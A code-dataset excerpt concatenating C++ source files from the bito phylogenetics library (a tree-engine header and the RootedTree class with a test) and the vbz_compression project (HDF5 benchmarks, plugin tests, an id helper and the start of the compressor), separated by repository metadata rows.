bool use_gradients = false);
bool HasGPEngine() const;
void PopulatePLVs();
void ComputeLikelihoods();
void ComputeMarginalLikelihood();
void CalculateHybridMarginals();
void ResizeEngineForDAG();
void ReinitializePriors();
void ProcessOperations(const GPOperationVector &operations);
void HotStartBranchLengths();
SizeDoubleVectorMap GatherBranchLengths();
void TakeFirstBranchLength();
void EstimateSBNParameters();
void SetOptimizationMethod(const OptimizationMethod method);
void UseGradientOptimization(const bool use_gradients);
// Estimate branch lengths using GPEngine. For testing purposes.
void EstimateBranchLengths(double tol, size_t max_iter, bool quiet = false,
bool track_intermediate_iterations = false,
std::optional<OptimizationMethod> method = std::nullopt);
// This scans the PCSP likelihood surface by calculating the per pcsp likelihood
// values at different branch length values. The currently set branch lengths are
// scaled by a vector of size "steps" that ranges linearly from "scale_min" to
// "scale_max".
void GetPerGPCSPLogLikelihoodSurfaces(size_t steps, double scale_min,
double scale_max);
// This is for tracking branch length optimization following perturbation of a single
// branch length, when assuming all other branch lengths are optimal. We perturb
// branch lengths for each pcsp to the default value of 0.1 and then track branch
// length and per pcsp likelihood values until the likelihood converges to the optimal
// value or the number of DAG traversals exceeds 5.
void PerturbAndTrackValuesFromOptimization();
RootedTreeCollection GenerateCompleteRootedTreeCollection();
RootedTreeCollection GenerateCoveringRootedTreeCollection();
void PrintEdgeIndexer();
// #348: A lot of code duplication here with things in SBNInstance.
StringVector PrettyIndexer() const;
EigenConstVectorXdRef GetSBNParameters();
StringDoubleVector PrettyIndexedSBNParameters();
StringDoubleVector PrettyIndexedBranchLengths();
StringDoubleVector PrettyIndexedPerGPCSPLogLikelihoods();
StringDoubleVector PrettyIndexedPerGPCSPComponentsOfFullLogMarginal();
VectorOfStringAndEigenVectorXdPairs PrettyIndexedIntermediateBranchLengths();
VectorOfStringAndEigenVectorXdPairs PrettyIndexedIntermediatePerGPCSPLogLikelihoods();
VectorOfStringAndEigenVectorXdPairs PrettyIndexedPerGPCSPLogLikelihoodSurfaces();
void SBNParametersToCSV(const std::string &file_path);
void SBNPriorToCSV(const std::string &file_path);
void BranchLengthsToCSV(const std::string &file_path);
void PerGPCSPLogLikelihoodsToCSV(const std::string &file_path);
void IntermediateBranchLengthsToCSV(const std::string &file_path);
void IntermediatePerGPCSPLogLikelihoodsToCSV(const std::string &file_path);
void PerGPCSPLogLikelihoodSurfacesToCSV(const std::string &file_path);
void TrackedOptimizationValuesToCSV(const std::string &file_path);
// Get branch lengths.
EigenVectorXd GetBranchLengths() const;
// Get per PCSP log likelihoods
EigenVectorXd GetPerPCSPLogLikelihoods() const;
// ** Trees
// Get a reference to collection of currently loaded trees.
const RootedTreeCollection &GetCurrentlyLoadedTrees() const {
return tree_collection_;
};
// Generate a version of the topologies in the current tree collection that use
// the current GP branch lengths.
RootedTreeCollection CurrentlyLoadedTreesWithGPBranchLengths();
// Subset the currently loaded topologies to those that have a given PCSP, and equip
// them with current GP branch lengths.
RootedTreeCollection CurrentlyLoadedTreesWithAPCSPStringAndGPBranchLengths(
const std::string &pcsp_string);
// Generate all trees spanned by the DAG and load them into the instance.
void LoadAllGeneratedTrees();
// Run CurrentlyLoadedTreesWithGPBranchLengths and export to a Newick file.
void ExportTrees(const std::string &out_path);
// Run CurrentlyLoadedTreesWithAPCSPStringAndGPBranchLengths and export to a Newick
// file.
void ExportTreesWithAPCSP(const std::string &pcsp_string,
const std::string &newick_path);
// Export all topologies in the span of the subsplit DAG to a Newick file. Does not
// require an Engine.
void ExportAllGeneratedTopologies(const std::string &out_path);
// Export all trees in the span of the subsplit DAG (with GP branch lengths) to a
// Newick file. Requires an Engine.
void ExportAllGeneratedTrees(const std::string &out_path);
// Export spanning set of trees with GP branch lengths.
void ExportCoveringTreesWithGPBranchLengths(const std::string &out_path) const;
// Export spanning set of trees with TP branch lengths.
void ExportTopTreesWithTPBranchLengths(const std::string &out_path) const;
// ** TP Engine
void MakeTPEngine();
void TPEngineSetChoiceMapByTakingFirst(const bool use_subsplit_method = true);
void TPEngineSetBranchLengthsByTakingFirst();
// Estimate branch lengths using TPEngine. For testing purposes.
void TPEngineEstimateBranchLengths(
double tol, size_t max_iter, bool quiet = false,
bool track_intermediate_iterations = false,
std::optional<OptimizationMethod> method = std::nullopt);
std::vector<RootedTree> TPEngineGenerateCoveringTrees();
TreeIdTreeMap TPEngineGenerateTopRootedTrees();
void TPEngineExportCoveringTrees(const std::string &out_path);
void TPEngineExportTopTrees(const std::string &out_path);
// ** NNI Evaluation Engine
void MakeNNIEngine();
// ** Tree Engines
void MakeLikelihoodTreeEngine();
FatBeagle &GetLikelihoodTreeEngine();
void MakeParsimonyTreeEngine();
SankoffHandler &GetParsimonyTreeEngine();
private:
void ClearTreeCollectionAssociatedState();
void CheckSequencesLoaded() const;
void CheckTreesLoaded() const;
// Calculate and store the intermediate per pcsp branch length and likelihood values
// during branch length estimation, so that they can be output to CSV.
void IntermediateOptimizationValues();
EdgeId GetEdgeIndexForLeafNode(const Bitset &parent_subsplit,
const Node *leaf_node) const;
RootedTreeCollection TreesWithGPBranchLengthsOfTopologies(
Node::NodePtrVec &&topologies) const;
StringDoubleVector PrettyIndexedVector(EigenConstVectorXdRef v);
VectorOfStringAndEigenVectorXdPairs PrettyIndexedMatrix(EigenConstMatrixXdRef m);
void PerPCSPIndexedMatrixToCSV(
VectorOfStringAndEigenVectorXdPairs per_pcsp_indexed_matrix,
const std::string &file_path);
// ** Data
std::optional<std::string> fasta_path_ = std::nullopt;
std::optional<std::string> newick_path_ = std::nullopt;
std::optional<std::string> nexus_path_ = std::nullopt;
RootedTreeCollection tree_collection_;
Alignment alignment_;
std::unique_ptr<GPDAG> dag_ = nullptr;
// Root filepath for storing mmapped data.
std::optional<std::string> mmap_file_path_ = std::nullopt;
// ** Engines
std::unique_ptr<GPEngine> gp_engine_ = nullptr;
std::unique_ptr<TPEngine> tp_engine_ = nullptr;
std::unique_ptr<NNIEngine> nni_engine_ = nullptr;
std::unique_ptr<FatBeagle> likelihood_tree_engine_ = nullptr;
std::unique_ptr<SankoffHandler> parsimony_tree_engine_ = nullptr;
// ** Branch Length Optimization
size_t gpcsp_count_ = 0;
// For storing intermediate optimization branch length and per pcsp log
// likelihood values. Only used if track_intermediate_iterations in
// EstimateBranchLengths is true.
EigenMatrixXd per_pcsp_branch_lengths_ = EigenMatrixXd(gpcsp_count_, 1);
EigenMatrixXd per_pcsp_log_lik_ = EigenMatrixXd(gpcsp_count_, 1);
// For storing branch length and log likelihood values when finding the log likelihood
// surface for each pcsp
EigenMatrixXd per_pcsp_lik_surfaces_;
// For storing outputs after perturbing and then tracking branch length and per pcsp
// log likelihoods
VectorOfStringAndEigenVectorXdPairs tracked_values_after_perturbing_;
};
| 10,280
|
C++
|
.h
| 208
| 45.173077
| 88
| 0.770498
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,144
|
rooted_tree.hpp
|
phylovi_bito/src/rooted_tree.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This is a rooted tree class that had the extra parameters required to do node height
// gradients. In fact, because RootedTree also has branch lengths (inherited from Tree)
// all of the extra state in this object is redundant other than the tip dates.
//
// Rooted trees can exist in 3 states:
// 1. No dates associated
// 2. Dates associated, which also initializes node_bounds_
// 3. As an initialized time tree, which means that all members are initialized.
//
// State 3 means that the branch lengths must be compatible with tip dates.
//
// In the terminology here, imagine that the tree is rooted at the top and hangs down.
// The "height" of a node is how far we have to go back in time to that divergence event
// from the present.
//
// The most important parameterization here is in terms of node height ratios, which are
// of the form n/d, where
//
// n = time difference between this node's height and that of its earliest descendant E
// d = time difference between the parent's height and that of E.
#pragma once
#include "eigen_sugar.hpp"
#include "tree.hpp"
class RootedTree : public Tree {
public:
using RootedTreeVector = std::vector<RootedTree>;
RootedTree(const Node::NodePtr& topology, BranchLengthVector branch_lengths);
explicit RootedTree(const Node::NodePtr& topology, BranchLengthVector branch_lengths,
std::vector<double> node_bounds,
std::vector<double> height_ratios,
std::vector<double> node_heights, std::vector<double> rates,
size_t rate_count);
explicit RootedTree(const Tree& tree);
RootedTree DeepCopy() const;
const std::vector<double>& GetNodeBounds() const {
EnsureTipDatesHaveBeenSet();
return node_bounds_;
}
const std::vector<double>& GetHeightRatios() const {
EnsureTimeTreeHasBeenInitialized();
return height_ratios_;
}
const std::vector<double>& GetNodeHeights() const {
EnsureTimeTreeHasBeenInitialized();
return node_heights_;
}
const std::vector<double>& GetRates() const {
EnsureTimeTreeHasBeenInitialized();
return rates_;
}
size_t RateCount() const { return rate_count_; }
inline bool TipDatesHaveBeenSet() const { return !node_bounds_.empty(); }
inline void EnsureTipDatesHaveBeenSet() const {
if (!TipDatesHaveBeenSet()) {
Failwith(
"Attempted access of a time tree member that requires the tip dates to be "
"set. Have you set dates for your time trees?");
}
}
// Set the tip dates in the tree, and also set the node bounds. Note that these dates
// are the amount of time elapsed between the sampling date and the present. Thus,
// older times have larger dates. This function requires the supplied branch lengths
// to be clocklike.
void SetTipDates(const TagDoubleMap& tag_date_map);
inline bool TimeTreeHasBeenInitialized() const { return !height_ratios_.empty(); }
inline void EnsureTimeTreeHasBeenInitialized() const {
if (!TimeTreeHasBeenInitialized()) {
Failwith(
"Attempted access of a time tree member that requires the time tree to be "
"initialized. Have you set dates for your time trees, and initialized the "
"time trees?");
}
}
// Use the branch lengths to set node heights and height ratios.
void InitializeTimeTreeUsingBranchLengths();
// Set node_heights_ so that they have the given height ratios.
// This should become SetNodeHeights during #205, and actually set height ratios as
// well.
void InitializeTimeTreeUsingHeightRatios(EigenConstVectorXdRef height_ratios);
TagDoubleMap TagDateMapOfDateVector(std::vector<double> leaf_date_vector);
// The lower bound for the height of each node, which is the maximum of the tip dates
// across all of the descendants of the node. See top of this file to read about how
// this vector can be initialized even if the rest of the fields below are not.
std::vector<double> node_bounds_;
// This vector is of length equal to the number of internal nodes, and (except for the
// last entry) has the node height ratios. The last entry is the root height.
// The indexing is set up so that the ith entry has the node height ratio for the
// (i+leaf_count)th node for all i except for the last.
std::vector<double> height_ratios_;
// The actual node heights for all nodes.
std::vector<double> node_heights_;
// The per-branch substitution rates.
std::vector<double> rates_;
// Number of substitution rates (e.g. 1 rate for strict clock)
size_t rate_count_ = 0;
bool operator==(const Tree& other) const = delete;
bool operator==(const RootedTree& other) const;
// The tree `(0:2,(1:1.5,(2:2,3:1):2.5):2.5):0;` as depicted in
// https://github.com/phylovi/bito/issues/187#issuecomment-618421183
static RootedTree Example();
static RootedTree UnitBranchLengthTreeOf(Node::NodePtr topology);
private:
// As for SetTipDates, but only set the node bounds. No constraint on supplied
// branch lengths.
void SetNodeBoundsUsingDates(const TagDoubleMap& tag_date_map);
void AssertTopologyBifurcatingInConstructor(const Node::NodePtr& topology);
};
inline bool operator!=(const RootedTree& lhs, const RootedTree& rhs) {
return !(lhs == rhs);
}
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("RootedTree") {
// To understand this test, please see
// https://github.com/phylovi/bito/issues/187#issuecomment-618421183
auto tree = RootedTree::Example();
std::vector<double> correct_height_ratios({1. / 3.5, 1.5 / 4., 7.});
for (size_t i = 0; i < correct_height_ratios.size(); ++i) {
CHECK_EQ(correct_height_ratios[i], tree.height_ratios_[i]);
}
std::vector<double> correct_node_heights({5., 3., 0., 1., 2., 4.5, 7.});
std::vector<double> correct_node_bounds({5., 3., 0., 1., 1., 3., 5.});
std::vector<double> correct_branch_lengths({2., 1.5, 2., 1., 2.5, 2.5});
for (size_t i = 0; i < correct_node_heights.size(); ++i) {
CHECK_EQ(correct_node_heights[i], tree.node_heights_[i]);
CHECK_EQ(correct_node_bounds[i], tree.node_bounds_[i]);
}
for (size_t i = 0; i < correct_branch_lengths.size(); ++i) {
CHECK_EQ(correct_branch_lengths[i], tree.branch_lengths_[i]);
}
// Test ratios to heights.
const double arbitrary_dummy_number = -5.;
std::fill(tree.LeafCount() + tree.node_heights_.begin(), // First internal node.
tree.node_heights_.end(), arbitrary_dummy_number);
EigenVectorXd new_height_ratios(3);
// Issue #205: eliminate this code duplication.
// Root height is multiplied by 2.
new_height_ratios << 1. / 3.5, 1.5 / 4., 14.;
std::vector<double> new_correct_node_heights({5., 3., 0., 1., 2.75, 7.125, 14.});
std::vector<double> new_correct_branch_lengths({9., 4.125, 2.75, 1.75, 4.375, 6.875});
tree.InitializeTimeTreeUsingHeightRatios(new_height_ratios);
for (size_t i = 0; i < correct_node_heights.size(); ++i) {
CHECK_EQ(new_correct_node_heights[i], tree.node_heights_[i]);
}
for (size_t i = 0; i < correct_branch_lengths.size(); ++i) {
CHECK_EQ(new_correct_branch_lengths[i], tree.branch_lengths_[i]);
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 7,296
|
C++
|
.h
| 151
| 44.509934
| 88
| 0.712361
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,146
|
vbz_hdf_perf.cpp
|
nanoporetech_vbz_compression/vbz_plugin/perf/vbz_hdf_perf.cpp
|
#include "../test/test_utils.h"
#include "../../vbz/perf/test_data_generator.h"
#include "hdf_id_helper.h"
#include "vbz_plugin.h"
#include "vbz_plugin_user_utils.h"
#include <hdf5.h>
#include <array>
#include <benchmark/benchmark.h>
static bool plugin_init_result = vbz_register();
template <typename IntType>
hid_t get_h5_type()
{
hid_t type = 0;
if (std::is_same<IntType, std::int8_t>::value)
{
type = H5T_NATIVE_UINT8;
}
else if (std::is_same<IntType, std::uint8_t>::value)
{
type = H5T_NATIVE_INT8;
}
else if (std::is_same<IntType, std::int16_t>::value)
{
type = H5T_NATIVE_UINT16;
}
else if (std::is_same<IntType, std::uint16_t>::value)
{
type = H5T_NATIVE_INT16;
}
else if (std::is_same<IntType, std::int32_t>::value)
{
type = H5T_NATIVE_UINT32;
}
else if (std::is_same<IntType, std::uint32_t>::value)
{
type = H5T_NATIVE_INT32;
}
else
{
std::abort();
}
return type;
}
template <bool UseZigZag, std::size_t ZstdLevel>
void vbz_filter(hid_t creation_properties, int int_size)
{
vbz_filter_enable(creation_properties, int_size, UseZigZag, ZstdLevel);
}
void zlib_filter(hid_t creation_properties, int)
{
H5Pset_deflate(creation_properties, 1);
}
void no_filter(hid_t creation_properties, int)
{
}
using FilterSetupFn = decltype(no_filter)*;
template <typename Generator>
void vbz_hdf_benchmark(benchmark::State& state, int integer_size, hid_t h5_type, FilterSetupFn setup_filter)
{
(void)plugin_init_result;
std::size_t max_element_count = 0;
auto input_value_list = Generator::generate(max_element_count);
std::size_t item_count = 0;
for (auto _ : state)
{
std::size_t id = 0;
state.PauseTiming();
auto file_id = H5Fcreate("./test_file.h5", H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);
auto file = IdRef::claim(file_id);
state.ResumeTiming();
item_count = 0;
for (auto const& input_values : input_value_list)
{
auto creation_properties = IdRef::claim(H5Pcreate(H5P_DATASET_CREATE));
std::array<hsize_t, 1> chunk_sizes{ { input_values.size() } };
H5Pset_chunk(creation_properties.get(), int(chunk_sizes.size()), chunk_sizes.data());
setup_filter(creation_properties.get(), integer_size);
std::string dset_name = std::to_string(id++);
auto dataset = create_dataset(file_id, dset_name.c_str(), h5_type, input_values.size(), creation_properties.get());
auto val = write_full_dataset(dataset.get(), h5_type, input_values);
item_count += input_values.size();
benchmark::DoNotOptimize(val);
}
}
state.SetItemsProcessed(state.iterations() * item_count);
state.SetBytesProcessed(state.iterations() * item_count * integer_size);
}
template <typename IntType, int ZstdLevel>
void vbz_hdf_benchmark_sequence(benchmark::State& state)
{
vbz_hdf_benchmark<SequenceGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), vbz_filter<true, ZstdLevel>);
}
template <typename IntType>
void vbz_hdf_benchmark_sequence_uncompressed(benchmark::State& state)
{
vbz_hdf_benchmark<SequenceGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), no_filter);
}
template <typename IntType>
void vbz_hdf_benchmark_sequence_zlib(benchmark::State& state)
{
vbz_hdf_benchmark<SequenceGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), zlib_filter);
}
template <typename IntType, int ZstdLevel>
void vbz_hdf_benchmark_random(benchmark::State& state)
{
vbz_hdf_benchmark<SignalGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), vbz_filter<true, ZstdLevel>);
}
template <typename IntType>
void vbz_hdf_benchmark_random_uncompressed(benchmark::State& state)
{
vbz_hdf_benchmark<SignalGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), no_filter);
}
template <typename IntType>
void vbz_hdf_benchmark_random_zlib(benchmark::State& state)
{
vbz_hdf_benchmark<SignalGenerator<IntType>>(state, sizeof(IntType), get_h5_type<IntType>(), zlib_filter);
}
/*BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int8_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int16_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int32_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int8_t, 1);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int16_t, 1);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_sequence, std::int32_t, 1);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_uncompressed, std::int8_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_uncompressed, std::int16_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_uncompressed, std::int32_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_zlib, std::int8_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_zlib, std::int16_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_sequence_zlib, std::int32_t);*/
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int8_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int16_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int32_t, 0);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int8_t, 1);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int16_t, 1);
BENCHMARK_TEMPLATE2(vbz_hdf_benchmark_random, std::int32_t, 1);
/*
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_uncompressed, std::int8_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_uncompressed, std::int16_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_uncompressed, std::int32_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_zlib, std::int8_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_zlib, std::int16_t);
BENCHMARK_TEMPLATE(vbz_hdf_benchmark_random_zlib, std::int32_t);
*/
// Run the benchmark
BENCHMARK_MAIN();
| 5,931
|
C++
|
.cpp
| 145
| 36.57931
| 127
| 0.714211
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,147
|
vbz_hdf_plugin_test.cpp
|
nanoporetech_vbz_compression/vbz_plugin/test/vbz_hdf_plugin_test.cpp
|
#include "test_utils.h"
#include "hdf_id_helper.h"
#include "vbz_plugin.h"
#include "vbz_plugin_user_utils.h"
#include <hdf5.h>
#include <catch2/catch.hpp>
#include <array>
#include <numeric>
#include <random>
static bool plugin_init_result = vbz_register();
template <typename T> void run_linear_test(hid_t type, std::size_t count)
{
(void)plugin_init_result;
GIVEN("An empty hdf file and a random data set")
{
auto file_id = H5Fcreate("./test_file.h5", H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);
auto file = IdRef::claim(file_id);
// Generate an incrementing sequence of integers
std::vector<T> data(count);
std::iota(data.begin(), data.end(), 0);
WHEN("Inserting filtered data into file")
{
auto creation_properties = IdRef::claim(H5Pcreate(H5P_DATASET_CREATE));
std::array<hsize_t, 1> chunk_sizes{ { count / 8 } };
H5Pset_chunk(creation_properties.get(), int(chunk_sizes.size()), chunk_sizes.data());
vbz_filter_enable(creation_properties.get(), sizeof(T), true, 5);
auto dataset = create_dataset(file_id, "foo", type, data.size(), creation_properties.get());
write_full_dataset(dataset.get(), type, data);
THEN("Data is read back correctly")
{
auto read_data = read_1d_dataset<T>(file_id, "foo", type);
CHECK(read_data == data);
}
}
}
}
template<typename T>
struct UniformIntDistribution {
using type = std::uniform_int_distribution<T>;
};
template<>
struct UniformIntDistribution<uint8_t> {
// uint8_t isn't a valid parameter for uniform_int_distribution
using type = std::uniform_int_distribution<unsigned short>;
};
template<>
struct UniformIntDistribution<int8_t> {
// int8_t isn't a valid parameter for uniform_int_distribution
using type = std::uniform_int_distribution<short>;
};
template <typename T> void run_random_test(hid_t type, std::size_t count)
{
GIVEN("An empty hdf file and a random data set")
{
auto file_id = H5Fcreate("./test_file.h5", H5F_ACC_TRUNC, H5P_DEFAULT, H5P_DEFAULT);
auto file = IdRef::claim(file_id);
std::vector<T> data(count);
std::random_device rd;
std::default_random_engine random_engine(rd());
using Distribution = typename UniformIntDistribution<T>::type;
Distribution dist(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
for (auto& elem : data)
{
elem = T(dist(random_engine));
}
WHEN("Inserting filtered data into file")
{
auto creation_properties = IdRef::claim(H5Pcreate(H5P_DATASET_CREATE));
std::array<hsize_t, 1> chunk_sizes{ { count / 8 } };
H5Pset_chunk(creation_properties.get(), int(chunk_sizes.size()), chunk_sizes.data());
vbz_filter_enable(creation_properties.get(), sizeof(T), true, 1);
auto dataset = create_dataset(file_id, "foo", type, data.size(), creation_properties.get());
write_full_dataset(dataset.get(), type, data);
THEN("Data is read back correctly")
{
auto read_data = read_1d_dataset<T>(file_id, "foo", type);
CHECK(read_data == data);
}
}
}
}
SCENARIO("Using zstd filter on a int8 dataset")
{
run_linear_test<std::int8_t>(H5T_NATIVE_INT8, 100);
run_random_test<std::int8_t>(H5T_NATIVE_INT8, 10 * 1000 * 1000);
}
SCENARIO("Using zstd filter on a int16 dataset")
{
run_linear_test<std::int16_t>(H5T_NATIVE_INT16, 100);
run_random_test<std::int16_t>(H5T_NATIVE_INT16, 10 * 1000 * 1000);
}
SCENARIO("Using zstd filter on a int32 dataset")
{
run_linear_test<std::int32_t>(H5T_NATIVE_INT32, 100);
run_random_test<std::int32_t>(H5T_NATIVE_INT32, 10 * 1000 * 1000);
}
SCENARIO("Using zstd filter on a uint8 dataset")
{
run_linear_test<std::uint8_t>(H5T_NATIVE_UINT8, 100);
run_random_test<std::uint8_t>(H5T_NATIVE_UINT8, 10 * 1000 * 1000);
}
SCENARIO("Using zstd filter on a uint16 dataset")
{
run_linear_test<std::uint16_t>(H5T_NATIVE_UINT16, 100);
run_random_test<std::uint16_t>(H5T_NATIVE_UINT16, 10 * 1000 * 1000);
}
SCENARIO("Using zstd filter on a uint32 dataset")
{
run_linear_test<std::uint32_t>(H5T_NATIVE_UINT32, 100);
run_random_test<std::uint32_t>(H5T_NATIVE_UINT32, 10 * 1000 * 1000);
}
| 4,479
|
C++
|
.cpp
| 111
| 33.963964
| 104
| 0.642164
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,149
|
hdf_id_helper.cpp
|
nanoporetech_vbz_compression/vbz_plugin/hdf_test_utils/hdf_id_helper.cpp
|
#include "hdf_id_helper.h"
#define THROW(_ex) throw _ex
#define THROW_ON_ERROR(code) \
if (code < 0) THROW(Exception())
namespace ont { namespace hdf5 {
static_assert(std::is_same<Id,hid_t>::value, "Mismatched ID types");
IdRef IdRef::claim(Id id)
{
if (id < 0 || H5Iis_valid(id) <= 0) {
THROW(Exception());
}
return IdRef(id);
}
IdRef IdRef::ref(Id id)
{
assert(id >= 0);
THROW_ON_ERROR(H5Iinc_ref(id));
return IdRef(id);
}
IdRef IdRef::global_ref(Id id)
{
assert(id >= 0);
// Increment the index here - never decrementing it.
THROW_ON_ERROR(H5Iinc_ref(id));
return global(id);
}
IdRef::IdRef(IdRef const& other)
: m_id(other.m_id)
, m_is_global_constant(other.m_is_global_constant)
{
if (!m_is_global_constant && m_id >= 0) {
THROW_ON_ERROR(H5Iinc_ref(m_id));
}
}
IdRef& IdRef::operator=(IdRef const& other)
{
if (!other.m_is_global_constant && other.m_id >= 0) {
THROW_ON_ERROR(H5Iinc_ref(other.m_id));
}
if (!m_is_global_constant && m_id >= 0) {
auto result = H5Idec_ref(m_id);
if (result < 0) {
// this will be logged by the auto-logging code
// (see install_error_function)
assert(false);
}
}
m_is_global_constant = other.m_is_global_constant;
m_id = other.m_id;
return *this;
}
IdRef::~IdRef()
{
if (!m_is_global_constant && m_id >= 0) {
auto result = H5Idec_ref(m_id);
if (result < 0) {
// this will be logged by the auto-logging code
// (see install_error_function)
assert(false);
}
}
}
int IdRef::ref_count() const
{
if (m_id < 0) {
return 0;
}
return H5Iget_ref(m_id);
}
}}
| 1,757
|
C++
|
.cpp
| 70
| 20.214286
| 68
| 0.583881
|
nanoporetech/vbz_compression
| 38
| 10
| 18
|
MPL-2.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,150
|
vbz.cpp
|
nanoporetech_vbz_compression/vbz/vbz.cpp
|
#include "v0/vbz_streamvbyte.h"
#include "v1/vbz_streamvbyte.h"
#include <gsl/gsl-lite.hpp>
#include <zstd.h>
#include <cassert>
#include <cstddef>
#include <iostream>
#include <memory>
// include last - it uses c headers which can mess things up.
#include "vbz.h"
namespace {
// util for using malloc with unique_ptr
struct free_delete
{
void operator()(void* x) { free(x); }
};
gsl::span<char> make_data_buffer(void* data, vbz_size_t size)
{
return gsl::make_span(static_cast<char*>(data), size);
}
gsl::span<char const> make_data_buffer(void const* data, vbz_size_t size)
{
return gsl::make_span(static_cast<char const*>(data), size);
}
void copy_buffer(
gsl::span<char const> source,
gsl::span<char> dest)
{
std::copy(source.begin(), source.end(), dest.begin());
}
struct VbzSizedHeader
{
vbz_size_t original_size;
};
}
extern "C" {
bool vbz_is_error(vbz_size_t result_value)
{
return result_value >= VBZ_FIRST_ERROR;
}
char const* vbz_error_string(vbz_size_t error_value)
{
if (VBZ_ZSTD_ERROR == error_value) return "VBZ_ZSTD_ERROR";
if (VBZ_STREAMVBYTE_INPUT_SIZE_ERROR == error_value) return "VBZ_STREAMVBYTE_INPUT_SIZE_ERROR";
if (VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR == error_value) return "VBZ_STREAMVBYTE_INTEGER_SIZE_ERROR";
if (VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR == error_value) return "VBZ_STREAMVBYTE_DESTINATION_SIZE_ERROR";
if (VBZ_STREAMVBYTE_STREAM_ERROR == error_value) return "VBZ_STREAMVBYTE_STREAM_ERROR";
if (VBZ_VERSION_ERROR == error_value) return "VBZ_VERSION_ERROR";
return "VBZ_UNKNOWN_ERROR";
}
vbz_size_t vbz_max_compressed_size(
vbz_size_t source_size,
CompressionOptions const* options)
{
vbz_size_t max_size = source_size;
if (options->integer_size != 0 || options->perform_delta_zig_zag)
{
auto size_fn = vbz_max_streamvbyte_compressed_size_v0;
if (options->vbz_version == 1)
{
size_fn = vbz_max_streamvbyte_compressed_size_v1;
}
else if (options->vbz_version != 0)
{
return VBZ_VERSION_ERROR;
}
max_size = vbz_size_t(size_fn(options->integer_size, max_size));
if (vbz_is_error(max_size))
{
return max_size;
}
}
if (options->zstd_compression_level != 0)
{
max_size = vbz_size_t(ZSTD_compressBound(max_size));
}
// Always include sized header for simplicity.
return max_size + sizeof(VbzSizedHeader);
}
vbz_size_t vbz_compress(
void const* source,
vbz_size_t source_size,
void* destination,
vbz_size_t destination_capacity,
CompressionOptions const* options)
{
auto current_source = make_data_buffer(source, source_size);
auto dest_buffer = make_data_buffer(destination, destination_capacity);
if (options->zstd_compression_level == 0 && options->integer_size == 0)
{
copy_buffer(current_source, dest_buffer);
return source_size;
}
// optional intermediate buffer - allocated if needed later, but stored for
// duration of call.
std::unique_ptr<void, free_delete> intermediate_storage;
if (options->integer_size != 0)
{
auto size_fn = vbz_max_streamvbyte_compressed_size_v0;
if (options->vbz_version == 1)
{
size_fn = vbz_max_streamvbyte_compressed_size_v1;
}
else if (options->vbz_version != 0)
{
return VBZ_VERSION_ERROR;
}
auto max_stream_v_byte_size = size_fn(
options->integer_size,
vbz_size_t(current_source.size())
);
if (vbz_is_error(max_stream_v_byte_size))
{
return max_stream_v_byte_size;
}
auto streamvbyte_dest = dest_buffer;
if (options->zstd_compression_level != 0)
{
intermediate_storage.reset(malloc(max_stream_v_byte_size));
streamvbyte_dest = make_data_buffer(intermediate_storage.get(), max_stream_v_byte_size);
}
else
{
assert(max_stream_v_byte_size <= destination_capacity);
}
auto compress_fn = vbz_delta_zig_zag_streamvbyte_compress_v0;
if (options->vbz_version == 1)
{
compress_fn = vbz_delta_zig_zag_streamvbyte_compress_v1;
}
else if (options->vbz_version != 0)
{
return VBZ_VERSION_ERROR;
}
auto compressed_size = compress_fn(
current_source.data(),
vbz_size_t(current_source.size()),
streamvbyte_dest.data(),
vbz_size_t(streamvbyte_dest.size()),
options->integer_size,
options->perform_delta_zig_zag
);
